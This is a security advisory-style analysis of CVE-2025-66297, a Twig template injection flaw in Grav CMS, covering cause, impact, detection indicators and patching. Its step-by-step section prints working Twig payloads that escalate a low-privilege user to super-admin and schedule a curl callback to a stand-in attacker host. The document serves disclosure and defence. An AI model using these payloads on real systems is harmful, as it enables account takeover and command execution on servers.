CVE-2025-66297: 
PHP vulnerability analysis and mitigation

CVE-2025-66297 is a Server-Side Template Injection (SSTI) vulnerability in Grav CMS that enables authenticated users with page creation or editing privileges to escalate their privileges to full administrator and execute arbitrary system commands. It affects all Grav CMS versions prior to 1.8.0-beta.27 (including all stable releases up to 1.7.48 and beta releases through 1.8.0-beta.26). The vulnerability was published on December 1, 2025, and patched the same day. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 7.4 (High) (GitHub Advisory, Grav Security Advisory).

The root cause is CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine): Grav CMS allows Twig template processing to be enabled per-page via the frontmatter setting process: twig: true, but the Twig sandbox is not enforced in this context, granting full access to backend PHP objects and methods in the system/src/Grav/Common directory (Grav Security Advisory). An attacker exploits this by injecting malicious Twig expressions into page content, leveraging internal Grav APIs such as grav.user.update()/grav.user.save() for privilege escalation or grav.scheduler.addCommand()/grav.scheduler.save()/grav.scheduler.run() for remote code execution. The precondition is that the attacker must hold a low-privilege account with admin.pages access (permission to create or edit pages). The fix, applied in commit e372595, significantly expanded the cleanDangerousTwig() function in Security.php to block dangerous functions, properties, and bypass patterns across four regex passes (Grav Patch Commit).

Successful exploitation allows a low-privilege authenticated user to escalate to full super-admin rights and execute arbitrary operating system commands on the server hosting Grav CMS. This results in complete compromise of confidentiality, integrity, and availability of the affected installation — including unauthorized access to all CMS content, user credentials, and server resources. The scheduler-based RCE path enables persistent backdoor installation, lateral movement to other systems on the network, and potential data exfiltration (Grav Security Advisory).

A proof-of-concept (PoC) exploit is publicly available in the official GitHub security advisory, providing exact Twig payloads for both privilege escalation and RCE (Grav Security Advisory). The CVSS v4.0 exploit maturity is rated PROOF_OF_CONCEPT. The EPSS score is approximately 0.286–0.475%, placing it around the 65th percentile for exploitation likelihood within 30 days (GitHub Advisory). There is no current evidence of in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog as of the time of this report. The vulnerability was reported by researcher p1r0x and detected by Qualys scanners.

1. Reconnaissance: Identify a Grav CMS installation running a version prior to 1.8.0-beta.27. Confirm that a low-privilege account with admin.pages access (page creation/editing permission) is available.
2. Authenticate: Log in to both the Grav frontend (e.g., https://target.site/login) and the admin panel using the low-privilege account.
3. Enable Twig processing: In the admin panel, create or edit a page and navigate to Advanced → Process → Twig and set it to true in the page frontmatter.
4. Inject privilege escalation payload: Insert the following Twig expressions into the page content body:

{% set _ = grav.user.update({ 'access': { 'admin': { 'login': true, 'super': true } } }, {}) %}
{% set _ = grav.user.save() %}

5. Trigger execution: Visit the published page URL while logged in. The Twig expressions execute during page rendering, modifying the user's access rights to super-admin.
6. Verify privilege escalation: Log out of the admin panel and log back in — the account now has full super-admin access.
7. Inject RCE payload (alternative): Instead of the PE payload, inject the following to execute arbitrary system commands via the scheduler API:

{% set _ = grav.scheduler.addCommand('curl', ['http://attacker.com/callback']) %}
{% set _ = grav.scheduler.save() %}
{% set _ = grav.scheduler.run() %}

8. Achieve code execution: Visit the page to trigger the scheduler, which executes the specified system command in the context of the web server process (Grav Security Advisory).

• Logs: Grav access logs showing page visits that trigger Twig rendering with unusual query patterns; admin panel logs showing page edits by low-privilege users enabling process: twig: true in frontmatter; scheduler execution logs showing unexpected commands (e.g., curl, wget, bash).
• File System: Page content files (.md) in the Grav user/pages/ directory containing Twig expressions referencing grav.user.update, grav.user.save, grav.scheduler.addCommand, grav.scheduler.save, or grav.scheduler.run; unexpected modifications to user account YAML files in user/accounts/ granting elevated admin.super access; new or modified scheduler job files in user/config/scheduler.yaml.
• Network: Unexpected outbound HTTP/HTTPS requests from the web server process to external hosts (indicative of SSRF or callback via scheduler); unusual DNS lookups originating from the PHP/web server process.
• Process: Unexpected child processes spawned by the PHP-FPM or web server process (e.g., curl, wget, bash, sh, python) during page rendering events (Grav Security Advisory).

Upgrade Grav CMS to version 1.8.0-beta.27 or later, which contains the patched Security.php with expanded dangerous Twig pattern blocking (Grav Patch Commit). As an interim workaround, globally disable Twig processing in the Grav system configuration to prevent any user from enabling it per-page. Additionally, restrict admin.pages access to only fully trusted users, and regularly audit user permissions and page content for unauthorized Twig expressions. Monitor scheduler configuration files for unexpected entries (Grav Security Advisory).

The vulnerability was published and patched by Grav maintainer rhukster on December 1, 2025, with a detailed security advisory including full PoC payloads (Grav Security Advisory). The advisory was credited to researcher p1r0x. The vulnerability was picked up by automated vulnerability tracking services including Qualys, CIRCL Vulnerability Lookup, and Red Hat CVE tracking shortly after disclosure. No significant broader media coverage or notable community debate has been identified beyond standard vulnerability database aggregation.